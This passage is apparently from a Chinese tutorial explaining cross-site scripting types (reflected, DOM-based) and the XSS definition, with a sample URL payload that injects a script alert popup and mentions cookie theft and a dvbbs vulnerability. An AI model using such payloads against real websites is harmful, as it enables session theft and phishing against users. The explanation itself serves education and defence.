一般是在浏览器的输入栏也就是urlget请求那里输入XSS代码，例如：127.0.0.1/admin.php?key="scriptalert("xss")/script，也是弹窗JS代码。当攻击者发送一个带有XSS代码的url参数给受害者，那么受害者可能会使自己的cookie被盗取或者“弹框“，这种XSS一次性使用，危害比储存型要小很多。

dom型：

常用于挖掘，是因为api代码审计不严所产生的，这种dom的XSS弹窗可利用和危害性并不是很大，大多用于钓鱼。比起存储型和反射型，DOM型并不常用。

跨站脚本攻击(Cross Site Scripting)，为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆，故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码，当用户浏览该页之时，嵌入其中Web里面的Script代码会被执行，从而达到恶意攻击用户的目的。

XSS攻击分成两类，一类是来自内部的攻击，主要指的是利用程序自身的漏洞，构造跨站语句，如:dvbbs的showerror.asp存在的跨站漏洞。